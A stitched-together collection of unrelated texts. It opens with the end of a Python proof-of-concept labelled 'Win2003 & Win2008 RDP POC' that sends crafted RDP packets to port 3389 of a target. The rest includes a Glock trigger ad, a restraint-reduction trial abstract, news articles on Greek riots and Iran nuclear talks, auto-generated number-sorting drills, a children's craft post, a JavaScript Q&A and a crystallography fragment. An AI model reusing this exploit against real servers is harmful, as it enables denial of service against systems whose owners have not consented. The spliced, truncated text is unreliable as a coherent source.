buf+="\x04\x20\x02\x04\x00\x00\x00\x02"#MULTIPOINT
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"#message
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"# TPKT, Version 3, Lenght 12
buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"# TPKT, Version 8, Lenght 12
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"#nop
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"#ITU-T Rec X.224
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"#ITU-T Rec X.224
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"#ITU-T Rec X.224
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"#ITU-T Rec X.224
buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
buf+="\xc0"
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
buf+="\x06\xd0\x00\x00\x12\x34\x00" #ITU-T Rec X.224
buf2="\x23\x79\x6F\x75\x20\x70\x6C\x61\x79\x20"
buf2+="\x62\x61\x73\x6B\x65\x74\x62\x61\x6C\x6C"
buf2+="\x20\x6C\x69\x6B\x65\x20\x63\x61\x69\x78"
buf2+="\x75\x6B\x75\x6E\x23";
sc="\x6D\x73\x68\x74\x61\x20\x76\x62\x73\x63" #shellcode
sc+="\x72\x69\x70\x74\x3A\x6D\x73\x67\x62\x6F"
sc+="\x78\x28\x22\x79\x6F\x75\x20\x70\x6C\x61"
sc+="\x79\x20\x62\x61\x73\x6B\x65\x74\x62\x61"
sc+="\x6C\x6C\x20\x6C\x69\x6B\x65\x20\x63\x61"
sc+="\x69\x78\x75\x6B\x75\x6E\x21\x22\x2C\x36"
sc+="\x34\x2C\x22\x4B\x38\x67\x65\x67\x65\x3A"
sc+="\x22\x29\x28\x77\x69\x6E\x64\x6F\x77\x2E"
sc+="\x63\x6C\x6F\x73\x65\x29";
HOST = sys.argv[1]
PORT = 3389
print "Win2003 & Win2008 RDP POC"
print "Target: "+HOST
recexec=buf
for i in range(8):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
print "sending: %d bytes" % len(buf)
s.send(buf)
rec = s.recv(100)
recexec=sc
print "received: %d bytes" % len(rec)
s.close()
print ""
except:
if(platform.system()=="Windows"):
os.system(recexec)
|
Improved Flat Trigger FDE
Enhance the aesthetics, feel, and control of your Glock with the SI Flat Billet Aluminum Trigger. More than just an attractive alternative, the geometry of the trigger facilitates optimum finger placement and breaking angle. The solid aluminum construction eliminates flex, provides crisper feedback, and better consistency than the stock polymer trigger. |
A controlled quality improvement trial to reduce the use of physical restraints in older hospitalized adults.
To implement and evaluate an evidence-informed multicomponent strategy to reduce physical restraint use in older adults admitted to acute care medical units. Stepped-wedge trial. Four acute care medical units in Calgary, Alberta, over a 4-month time period. Data were collected from individuals aged 65 and older present on the study units during monthly restraint audits. Development of opinion leaders among the nursing leadership, education and training of physicians and unit nurses, and implementation of least restraint rounds. The primary outcome was rate of restraint use as determined from walk-around audits. Secondary outcomes included number of physician orders for physical restraints on the electronic medical record and fall reports. Thirteen percent to 27% of individuals were being restrained on the medical units before the intervention, with the vast majority of restraints being bed rails. This decreased to 7% to 14% after the intervention. The intervention resulted in a statistically significant reduction in restraint use measured in the early mornings (P = .01), and this trend continued after adjusting for unit and month (P = .06). Similarly, the rate of restraint use trended down at all other measured time periods but was not statistically significant. A limited number of individuals had an order for physical restraint within their electronic medical record (3% before, 2% after the intervention). The median number of monthly fall reports did not change (three before, three after; P = .60). A multicomponent team-focused quality improvement intervention has the potential to decrease the use of physical restraints in older hospitalized adults. |
Among the 15 individuals arrested in connection with an alleged drug trafficking and money laundering conspiracy in the Southwest are three men accused of using a horse sale to evade income reporting requirements. |
in decreasing order.
39, g, x
Suppose 9*n = 14*n + 240. Let u = -337/7 - n. Sort u, -0.3, 0.1, 0.7 in decreasing order.
0.7, 0.1, u, -0.3
Let k = -26 - -35. Let s = 4 + -8. Suppose 0 = y + 1, 95*h + y = 90*h - 26. Put h, s, k in increasing order.
h, s, k
Let w = 177 - 174. Suppose -3*a + 5*n = -31, 4*n = -w*a - 8 - 6. Sort 3, -5, a, 1 in descending order.
3, a, 1, -5
Let l = -7790 - -7788.8. Sort l, -1, -0.5, -4/5.
l, -1, -4/5, -0.5
Let l(m) = -m + 4. Let h be l(7). Suppose 222*z = 3*k + 224*z - 4, 0 = -3*k + 2*z - 28. Sort k, 4, 6, h in descending order.
6, 4, h, k
Let a = 1902 - 1905. Put a, -0.5, 61 in descending order.
61, -0.5, a
Suppose 5*j = -2*b + 95, 32*j = 2*b + 36*j - 92. Sort -8, b, 0, 2 in decreasing order.
b, 2, 0, -8
Let i(b) = b**2 - 3*b - 4. Let u be i(6). Let p = u - -22. Suppose 0 = -5*y - y - p. Put 3, y, 0 in increasing order.
y, 0, 3
Suppose 1329*d - 1341*d - 56 - 64 = 0. Sort -1, -7, d in increasing order.
d, -7, -1
Suppose -11*c + 642 = -5*c. Let d = c + -109. Suppose 5 = -8*k + 7*k. Sort k, -2/5, d, 3/5 in ascending order.
k, d, -2/5, 3/5
Let u(p) = p**3 + 31*p**2 - 12*p + 27. Let o be u(-32). Let h = -608 - o. Sort h, -20, -4.
-20, -4, h
Let b(k) = -914*k + 12812. Let c be b(14). Sort 0.2, c, 1, -1 in increasing order.
-1, 0.2, 1, c
Let s = -0.1 - 0.1. Let f be (3 - -10) + 2 - 18. Let p = -2 - -1.9. Sort f, -1/2, p, s.
f, -1/2, s, p
Let h = -10664/143 - -822/11. Sort -0.3, 1/4, 5, h, -5 in descending order.
5, 1/4, h, -0.3, -5
Let c = -3008 + 3012. Put -2/3, 0.015, 0.5, -2/15, c in increasing order.
-2/3, -2/15, 0.015, 0.5, c
Let f = 33 + 28. Let j = f + -55. Sort j, -1, -0.2 in descending order.
j, -0.2, -1
Let z = -196 + 201. Suppose -4*n - n = 3*k - 5, 0 = n + 4*k - 18. Suppose -4*b - 3*r + r + 4 = 0, b = -2*r - 5. Put z, b, n in descending order.
z, b, n
Let m(a) = -2*a**2 + 2*a + 15. Let p be m(-5). Let w(c) = -3*c - 140. Let n be w(p). Put -58, -6, n in descending order.
n, -6, -58
Suppose -2*r - 4 = 2. Let j = -464 + 463.6. Put 10, r, j in ascending order.
r, j, 10
Let x be 1*3 - (3 + -1 + -3). Suppose 4*o - 8 = 4*s + s, -s + 8 = -x*o. Let u = 48 - 46. Put 3, u, o in descending order.
3, u, o
Let w = 59483.99 - 59484. Let p be (4/6)/((-7)/21). Put -0.3, w, 3/4, p in increasing order.
p, -0.3, w, 3/4
Let s = -9 + 6. Let p = 0.841 - -0.159. Let w = 202 - 2624/13. Sort s, p, w in descending order.
p, w, s
Let k = 42.69 - -31.61. Let j = -16.9 - 57.1. Let s = k + j. Sort -5, -5/2, s, 0.05.
-5, -5/2, 0.05, s
Let n be (0/((-12)/(-1)))/(-2 + 4). Let s be (-60)/9 + n - -6. Sort s, -0.07, 12.
s, -0.07, 12
Suppose 22 + 10 = -2*v. Let r = 21 + v. Let u(f) = 152*f + 4710. Let a be u(-31). Put r, -5, a in ascending order.
-5, a, r
Suppose 0 = 212*h - 211*h + 3. Let n(z) = z + 8. Let c be n(h). Sort 3, c, 0, -5 in descending order.
c, 3, 0, -5
Let z = -837.9567 - -838. Put 4, 5, z in descending order.
5, 4, z
Let x be (-2 - -2)/(-1)*((38 - 20) + -19). Sort -4, 1, x, 136.
-4, x, 1, 136
Suppose -354 = -39*w - 469 - 2186. Sort w, -3, -6.
w, -6, -3
Let w(j) = 40*j**2 - 10*j - 14. Let x be w(-1). Let y = -86/63 + 8/7. Put 1, x, y in ascending order.
y, 1, x
Let v = 5845.8 + -5846. Put -3984, 0, -1, v in ascending order.
-3984, -1, v, 0
Let z be 764*(-2)/(-8) - (3 - -2). Let f = 745/4 - z. Let o = -1.1 + -3.9. Sort f, 0.5, o in increasing order.
o, f, 0.5
Let g be 24/(-19) + (-3035)/(-11533). Let b = -1 - -6. Put g, 68, 2/9, b in decreasing order.
68, b, 2/9, g
Let i be (-102)/(-17)*(-1)/(-3). Suppose 9*c = i*c + 126. Put c, -3, 3, 0 in descending order.
c, 3, 0, -3
Let f = 11678 + -11676. Sort 2047, f, -3 in decreasing order.
2047, f, -3
Let f(u) = -81*u + 137*u + 2 + 2*u**2 - 88*u + 3. Let n be f(16). Sort 2, -1, -66, n.
-66, -1, 2, n
Let z be (-11316)/(-483) + (-4)/(-7). Put -9/4, 1, z in descending order.
z, 1, -9/4
Let f = 775 - 772. Sort f, -4, -1, 5.
-4, -1, f, 5
Let c be (0/(-117))/(((-4)/(-14))/(2/14)). Put 2, 5, c, -497 in decreasing order.
5, 2, c, -497
Let p = 204 - 204. Suppose 79*u - 88*u + 27 = p. Put 7, -4, -3, u in decreasing order.
7, u, -3, -4
Let y(d) = -2*d**3 - 3*d**2 - 6*d - 3. Let x be y(-2). Suppose -5*l + 10*h - x*h = -22, 2*h = 4*l. Let n be (-4)/(-6) + 13/3. Sort -3, l, n in descending order.
n, l, -3
Let a(f) = 605*f**3 + f**2 - f + 1. Let k be a(1). Suppose 0 = 5*w - 484 - k. Let z be (-12)/(-15) + w/(-10). Put z, -3, 1, 5 in decreasing order.
5, 1, -3, z
Let n(g) = -46*g + 1796. Let v be n(39). Suppose -4*m = -5*b - 0 - 9, -7 = 3*m - b. Sort -5, m, v, -17 in increasing order.
-17, -5, m, v
Let s = 45 + 59. Sort 5, s, -5 in decreasing order.
s, 5, -5
Let q = -3097.5 + 3098. Let t = 217 - 1949/9. Sort t, 2, q in ascending order.
t, q, 2
Let m(l) = -l + 13. Let h be m(7). Let y = 291 - 282. Suppose 6 = -q + 3*c, 4*q + 4*c - 8 = y*q. Sort -4, h, q.
-4, q, h
Let l = 13.622 + -13.3. Let x = l + -0.022. Let s be (-2)/3*(-99)/(-22). Sort 9, s, 0.4, x in decreasing order.
9, 0.4, x, s
Let h = 0.36 - 0.26. Let d = -97 + 92.5. Put d, h, -1 in decreasing order.
h, -1, d
Suppose -5*g = -2*p - 0*p + 32, 0 = -2*p + 2. Let w be (-3 - (g + 6)) + (0 - -1). Let l = -49.3 - -49. Put w, 0, l in decreasing order.
0, l, w
Suppose -5*n - 36 + 51 = 0. Suppose 3*b = -3*s + 24, -n*b - 2*b + 28 = 2*s. Suppose p + 18 = 4*o, 0*o + 3*p + s = 2*o. Sort o, -8, -5.
-8, -5, o
Let z = -56.65 + 1.65. Let b = z - -54. Sort -1/3, -2/5, -4, b in descending order.
-1/3, -2/5, b, -4
Let b = 2875 - 2880. Sort 2, -3, 18, 1/2, b in descending order.
18, 2, 1/2, -3, b
Let z = 8869.48 - 8869. Sort 0.05, 1/4, 3, z.
0.05, 1/4, z, 3
Let x = 4 + -9. Let w = -202 + 202. Let u = -7 - -11. Put x, u, 0.2, w in ascending order.
x, w, 0.2, u
Let b = 428202 - 428205. Let k = 121.94 + -120. Let f = k + 0.06. Put f, b, -4 in increasing order.
-4, b, f
Let v = 7733/17 + -455. Let t = 1103 - 1105. Put -2/5, v, t, 1 in increasing order.
t, -2/5, v, 1
Suppose -35 - 5 - 12 = 13*f. Put 4, -6, 49, f, 1 in descending order.
49, 4, 1, f, -6
Let t = -5.30087 - -0.30087. Let f(v) = -7*v**2 + v - 14. Let w(n) = -n**2 - n - 1. Let o(c) = -f(c) + 6*w(c). Let y be o(6). Put y, t, 0 in decreasing order.
y, 0, t
Let f = -1592 - -1594. Sort 0, f, 1185.
0, f, 1185
Let y(c) = 3*c**3 + 4*c**2 - 4*c. Let x(g) = 4*g**3 + 4*g**2 - 5*g - 1. Let j(q) = -4*x(q) + 5*y(q). Let u be j(4). Sort 5, 2, 3, u.
2, 3, u, 5
Suppose 0 = -2*t - 0*t + 16. Suppose -7510 + 1768 = -18*s. Let z = s + -330. Sort z, -4, t in decreasing order.
t, -4, z
Let x be (-16)/(-12)*(-1)/(-4)*12. Sort -78, x, 7.3 in decreasing order.
7.3, x, -78
Let h be -3 + ((-6)/(-10) - (-120)/50). Let m(q) = -2*q**3 - 2*q**2 + q - 5. Let g be m(-3). Let d = g + -25. Put d, -14, h in ascending order.
-14, h, d
Let k be 1/(-2)*(-63 - -3). Let l = k + -34. Let n(y) = y**3 + 4*y**2 - 5*y + 5. Let b be n(-5). Put l, 1, b in descending order.
b, 1, l
Let s(y) = -y**2 + 6*y + 5. Let i be s(6). Let t be (-28872)/770 - 2/(-77)*7. Let o = t + 188/5. Sort -5, o, 4, i in descending order.
i, 4, o, -5
Suppose -16*s + 390 = -10*s. Let z = s - 69. Sort 3, -3, -2, z in increasing order.
z, -3, -2, 3
Let u be ((-4)/7)/((-4)/14). Suppose -u*o + 25 = 21. Let q(n) = 2*n**2 - 3*n + 3. Let z be q(o). Put 2, z, -5, -1 in decreasing order.
z, 2, -1, -5
Suppose 4*x = -3*x. Suppose x*m + 21 = 7*m. Let n = m + 1. Sort n, -4/9, 2 in decreasing order.
n, 2, -4/9
Let p = -0.4157 + 0.8157. Sort p, -3/5, -6/5, 0.5, -262 in increasing order.
-262, -6/5, -3/5, p, 0.5
Let g = 4665 - 4666. Sort -5, g, -7, -79 in ascending order.
-79, -7, -5, g
Let a = 6.19 + -1.19. Let l = -1.4 + 1.6. Sort l, 0, a, 27 in ascending order.
0, l, a, 27
Suppose 0 = 5*a + 3*a - 192. Suppose -10 = 4*y + y - 5*o, 3*o = -3*y + a. Put 0, y, 10 in decreasing order.
10, y, 0
Let w be (-120)/16*(-92)/69. Suppose 4*j + 1 = -3*r, 2*r + 7 = -3*j + r. Suppose -4*x + i + 3*i = -20, x + i = -3. Sort x, w, j.
j, x, w
Let q = -62 - -60. Let x = -2.17 + 2.67. Put q, 0.1, x, 2/5 in decreasing order.
x, 2/5, 0.1, q
Let x = 62 - 44. Suppose -90 = 6*t + x. Let h be 9/3 + 52/t. Put h, -0.4, -0.1 in decreasing order.
h, -0.1, -0.4
Let b(k) = k**3 - k + 1. Let d(i) = 6*i**3 - 5*i**2 - 12*i + 10. Let u(x) = 5*b(x) - d(x). Let m be u(5). Let l = m - 27. Sort -3, -1, l in ascending order.
-3, -1, l
Let z |
Two Simple Solar System Projects for your Astronaut-in-Training
“Back to School” time brings out an amazing curiosity in children, who look to apply what they’re learning in school every chance they can get. One topic that never fails to amaze is the Solar System: endless stars, glowing planets, and the joy of wondering “what exists out there” can make almost any child dream of traveling into outer space. Help them tap into that curiosity with these Solar System-themed projects (while applying what they’re learning in school, as well!)
These projects have been sent to us from our social media community – and we’re always looking for more ideas! If you have projects to share, send them along to socialmedia@MelissaAndDoug.com
Using Puzzles
One way to bring the Solar System to life is through puzzles, and there are many available that can help your child learn about the planets and stars in a creative, challenging way (a few varieties exist depending on how advanced your child’s puzzle skills are). We especially love this floor puzzle due to its large scale: 36″ x 24″! (You’ll want to clear off your playroom floor to make room. . . . )
Here are some additional tips for using a solar system puzzle:
- Have your child read the names of each planet and think of a pattern for remembering them in order of distance from the Sun (like My Very Excellent Mother Just Served Us Nachos).
- Ask your child to draw or write down what they imagine each planet would be like to live on.
- Use this as an opportunity to discuss orbits by getting up and walking around the puzzle in a circle, explaining how the planets rotate around the sun.
- Create a game among your children or their friends to “assign” different planets to each person or group. Once all the different planets have been created, have the group work as a team to piece it all together.
Using Traditional Arts and Crafts
Using a picture of the Solar System as a starting point (from a puzzle or other image) let your child recreate it using simple arts and crafts tools. This will allow them to practice the other skills they may be learning at school (depending on their age) such as cutting, shapes, colors, tracing. To really let their imagination run wild, encourage them to create their own unique solar system, with original names for their own planets and stars. |
Monday, December 8, 2008
Anarchists' fury fuels Greek riots
The Christian Science Monitor By Nicole ItanoDecember 8, 2008
An uneasy truce between anarchists and police was shattered following a weekend shooting of a teen. A similar event in 1985 sparked months of daily clashes. ATHENS - Greece's worst rioting in years erupted late Saturday night after an Athens policeman shot and killed a teenage boy in a central neighborhood known as the base of anarchist and other antiestablishment groups.
By Sunday morning, with the riots continuing, a trail of devastation had been blazed across central Athens – with the stench of tear gas and smoke from charred vehicles and buildings hanging over parts of the ancient city. The violence quickly spread to other parts of the country, including Greece's second-city, Thessaloniki, and the vacation islands of Crete and Corfu.The shooting and its violent aftermath threatens to escalate a decades-long conflict that has simmered between police and far-left groups. The conservative government, which was already struggling to stay in power in the wake of a recent land-exchange scandal, attempted to calm the rioters by arresting the two police officers connected with the shooting.
The fatal shooting took place in the Athens neighborhood of Exarchia, a dense warren of concrete apartment buildings home to a mix of students and anarchists. Clashes between police and radicals are common in the neighborhood.
Anarchist groups frequently set off small bombs throughout the city – on Wednesday alone a bomb damaged the offices of the French news service Agence France Presse and arsonists torched a Bosnian embassy car and a bank cash machine.
Brady Kiesling, a former US diplomat, who is writing a book about the Greek militant group November 17, says Greek police have limited power to use force against these groups because public sentiment will not tolerate it. This has resulted in a delicate balance in Exarchia, with neither pushing the other too far. Many Greeks cite the events of November 17, 1973 – a day that is still commemorated, when the army stormed the Athens Polytechnic University and killed a number of striking students – as a reason why the police must be restricted.
"The police stay out of certain areas, unless there's a major emergency, and the anarchists don't trash things badly unless there's a good reason," Mr. Kiesling says. But "once someone gets killed, the doctrine is massive retaliation."
Details of the shooting are disputed, but police issued a statement saying the two officers had been attacked by a group of youths. One officer threw a stun grenade while the other responded with three shots. At least one bullet hit the boy, reported to be 15 or 16. According to police, hedied on the way to the hospital.
The last fatal police shooting of a minor in Greece, in 1985, sparked months of nearly daily clashes between police and anarchists. The terrorist group November 17 also bombed a bus full of riot police in retaliation, Kiesling says.
Both officers involved in Saturday's incident have been arrested. Prokopis Pavlopoulos, the country's Interior minister, who is responsible for the police, promised punishment for those responsible.
Mr. Pavlopoulos, and his deputy minister, also offered their resignations, a move that was rejected by the prime minister.
"It is inconceivable for there not to be punishment when a person loses their life, particularly when it is a child," Pavlopoulos said in a press conference Sunday morning. The Interior minister also condemned the actions of the rioters. "No outrage, no matter how ideologically established it is, can lead to such incidents as we witnessed last night."
Shortly after the shooting, which took place before 10 p.m., an angry crowd – summoned by text message and the Internet – gathered in Exarchia. They clashed with police, shouting "Murderers in uniform," and burned and looted local shops.
Later that night, the rioters moved to other areas of the city center, burning or damaging at least 31 shops and breaking windows in the tourist neighborhood of Monistiraki and along one of central Athens' major shopping streets, Ermou. Just a few hundred yards from the ancient site of Hadrian's Library, a charred building still smoldered late Sunday morning. Some two dozen police officers were reportedly injured in the clashes.
On Sunday afternoon, more than 2,000 people gathered near the Athens Polytechnic to march towards Athens' central police station in protest of the killings. Greek law bars police from university buildings.
"The feeling is anger," says John Gelis, a 28-year psychologist, shortly before joining the march. "A kid was killed just like that. It's a sign of arrogance by the police. It's an act against democracy."
Mr. Gelis joined in the riots on Saturday night, saying the targets of the unrest included banks and multinational companies, not small businesses. "No one has anything against the little owners."
But some small businesses had been ransacked, including a family-run computer store in the heart of Exarchia. Business owners and residents say they are weary of the unrest. "I'm fed up with this," says Elina Dimitriou, a long-time resident of the neighborhood. "It needs to stop. But I don't know who to blame." |
Q:
add properties to function in JS
I'm new to Javascript, still struggling in understanding what a function really is. From my understanding. an object in JS is like:
let person= {
name: "Tom",
age: 20,
};
and we can add properties as:
person.number = 1234
so the person object will be like:
{
name: "Tom",
age: 20,
number: 1234
}
and now I have a function as:
function Person(name, age){
this.name = name,
this.age = age
}
below is my questions:
Q1. when we add a new property as:
Person.number = 1234;
does it mean that JS will modify the Person function internally as
function Person(name, age){
this.name = name,
this.age = age,
this.number = 1234
}
is my understanding correct, I can only think of this way, otherwise how could you add a new property to a function?
A:
No, this in Person is not Person itself, it's a (hidden) argument that is passed to it, just like name or age. When you add a property to the function itself, it doesn't affect this in any way.
function Person(name, age) {
this.name = name;
this.age = age;
}
Person.number = 1234;
console.log(new Person('Joe', 22)); // no "number" here
An exception of this rule is the special prototype property, which does affect this when you use the function as a constructor (new ...()):
function Person(name, age) {
this.name = name;
this.age = age;
}
Person.number = 1234;
console.log(new Person('Joe', 22)); // no "number"
Person.prototype = {number: 5678};
console.log(new Person('Joe', 22)); // has "number"!
Otherwise, a function is an object in javascript, and you can manipulate it like any other object.
function foo() {}
Object.assign(foo, {'bar': 123, 'baz': 456});
console.log(foo.bar);
console.log(Object.keys(foo));
|
Major world powers and Iran began two-day talks in İstanbul on Friday in an attempt to resolve an international dispute over Tehran's nuclear program, but differences between the two sides remained as deep as ever in the first day of negotiations.
The talks follow an inconclusive round of negotiations last month in Geneva. Turkey, which brokered a nuclear swap deal with Iran in a joint drive with Brazil in May, provided the venue for the talks and there was no immediate sign on Friday that its role could expand into actual involvement in the negotiations, which are taking place in İstanbul's Ottoman-era Çırağan Palace overlooking the Bosporus. The meeting, attended by 35 representatives from Iran and the P5+1 group -- consisting of the five permanent members of the UN Security Council, namely the United States, Russia, China, France, Britain, plus Germany -- were closed to the press.
Iran drew its red lines at the start of the talks on Friday and said its right to enrich uranium was not up for discussion in İstanbul.
“We will not allow any talks linked to freezing or suspending of Iran’s enrichment activities to be discussed at the meeting in İstanbul,” Massoud Zohrevand, a senior official in the Iranian delegation said. “So far this issue has not been discussed, has not been raised or mentioned by the other party,” Zohrevand said, adding, “Iran’s nuclear rights cannot be discussed.”
Western powers dismissed the May 17 nuclear swap deal brokered by Turkey and Brazil because it did not take into account the increase in Iran’s low-enriched uranium stockpile since a similar proposal was first presented to Tehran by the UN atomic agency, the International Atomic Energy Agency (IAEA), in 2009, and because the deal did not include any condition for Iran to stop its uranium enrichment activity.
Under the May 17 deal, Iran agreed to send 1,200 kilograms of its low-enriched uranium to Turkey in return for uranium enriched by Russia and France to higher levels to be used as fuel in a medical research reactor in Tehran. The US and other Western countries dismissed the deal, saying Iran’s low-enriched uranium stockpile grew to 3,000 kilograms since the IAEA offer was first made in 2009. The West also insists that Iran must stop enriching uranium, a process that would give Iran the capability to produce nuclear weapons.
Expressing Western skepticism over prospects for a breakthrough in İstanbul talks, a US State Department spokesman said in Washington on Thursday that the US merely hoped the discussions would pave the way for a process of dialogue between Iran and the international community. “We’re not expecting any big breakthroughs but we want to see a constructive process emerge that ... leads to Iran engaging with the international community in a credible process and addressing the international community’s concerns about its nuclear program,” State Department spokesman Mark Toner said.
In İstanbul, there was no statement on content of the discussions. But there were expectations ahead of the talks that, despite the disagreements between the two sides, the nuclear swap deal would be discussed in İstanbul.
Iranian officials said as they headed to the talks that they were ready to discuss reviving the swap agreement based on one brokered with Brazil and Turkey. The US did not rule out the idea either. “There would have to be some kind of updated arrangement but we’re willing to discuss that in greater detail,” Toner said when asked if such a deal would have to be revised to take into account the low-enriched uranium that Iran has produced since 2009, when the proposal was first tabled. Asked if Washington would make such a proposal, he said: “I don’t know if we’re planning to bring it up, but we’re willing to discuss it.”
Back in İstanbul, contrary to the Iranians, Western delegations attending the talks were quiet on the content of the talks. When asked to comment on what is going on behind the closed doors in Çırağan Palace, one Western official remained tightlipped, calling the Iranian statement earlier in the day a “public relations move.”
Davutoğlu in venue of the talks
Turkey, whose ties with Iran have grown closer in the recent years, says that Iran has the right to acquire nuclear energy for peaceful purposes but that it opposes nuclear weapons. Foreign Minister Ahmet Davutoğlu has said Turkey’s role in the talks would be limited to playing the host but emphasized Ankara was ready to take on a greater role should such a demand come from the parties. On Friday, Turkish diplomats confirmed that Turkey’s role was limited to hosting the negotiations. But in a sign that a Turkish involvement in later stages of the talks was still a possibility, Davutoğlu was in a different room at Çırağan Palace, having a meeting with visiting Argentine foreign minister.
On Thursday, Davutoğlu reiterated that Turkey was “against nuclear weapons, but we believe that all countries have the right to the peaceful use of nuclear energy,” at a joint news conference with his Russian counterpart, Sergei Lavrov in İstanbul. He also urged Iran to “provide assurances about its nuclear program, that there will be no intention to produce weapons,” and expressed hope that such a “good mechanism” could be achieved during the İstanbul talks. Lavrov, for his part, said the talks should look at prospects for relieving punitive sanctions on Tehran, which were imposed soon after US and other Western countries dismissed the May 17 deal. Lavrov also criticized the United States and European Union for imposing sanctions unilaterally that went beyond those agreed by the UN Security Council last June.
European Union foreign policy chief Catherine Ashton is heading the delegations representing the P5+1 group. They are meeting with Iran’s nuclear negotiator, Saeed Jalili. Nearly 400 journalists, half from outside of Turkey, were following the talks. |
Related literature {#sec1}
==================
For background to compounds extracted from *Impatiens balsamina*, see: Ding *et al.* (2008[@bb2]). For the antimicrobial activity of flavonol and naphthoquinone derivatives, see: Yang *et al.* (2001[@bb9]). For their anti-anaphylaxis properties, see: Yoshimi *et al.* (2003[@bb10]); Ishiguro *et al.* (1994[@bb6]) and for their use as anti-inflammatories, see: Hisae & Kyoko (2002[@bb5]). For standard bond-length data, see: Allen *et al.* (1987[@bb1]).
Experimental {#sec2}
============
{#sec2.1}
### Crystal data {#sec2.1.1}
C~11~H~8~O~3~*M* *~r~* = 188.17Monoclinic,*a* = 3.904 (3) Å*b* = 7.662 (6) Å*c* = 28.81 (2) Åβ = 93.562 (7)°*V* = 860.1 (12) Å^3^*Z* = 4Mo *K*α radiationμ = 0.11 mm^−1^*T* = 296 K0.20 × 0.20 × 0.10 mm
### Data collection {#sec2.1.2}
Enraf--Nonius CAD-4 diffractometerAbsorption correction: ψ scan (North *et al.*, 1968[@bb7]. *T* ~min~ = 0.979, *T* ~max~ = 0.9897068 measured reflections2082 independent reflections1458 reflections with *I* \> 2σ(*I*)*R* ~int~ = 0.0323 standard reflections every 200 reflections intensity decay: 1%
### Refinement {#sec2.1.3}
*R*\[*F* ^2^ \> 2σ(*F* ^2^)\] = 0.056*wR*(*F* ^2^) = 0.136*S* = 1.082082 reflections128 parametersH-atom parameters constrainedΔρ~max~ = 0.19 e Å^−3^Δρ~min~ = −0.25 e Å^−3^
{#d5e364}
Data collection: *CAD-4 Software* (Enraf--Nonius, 1989[@bb3]); cell refinement: *CAD-4 Software*; data reduction: *XCAD4* (Harms & Wocadlo, 1995[@bb4]); program(s) used to solve structure: *SHELXS97* (Sheldrick, 2008[@bb8]); program(s) used to refine structure: *SHELXL97* (Sheldrick, 2008[@bb8]); molecular graphics: *SHELXTL* (Sheldrick, 2008[@bb8]); software used to prepare material for publication: *SHELXL97*.
Supplementary Material
======================
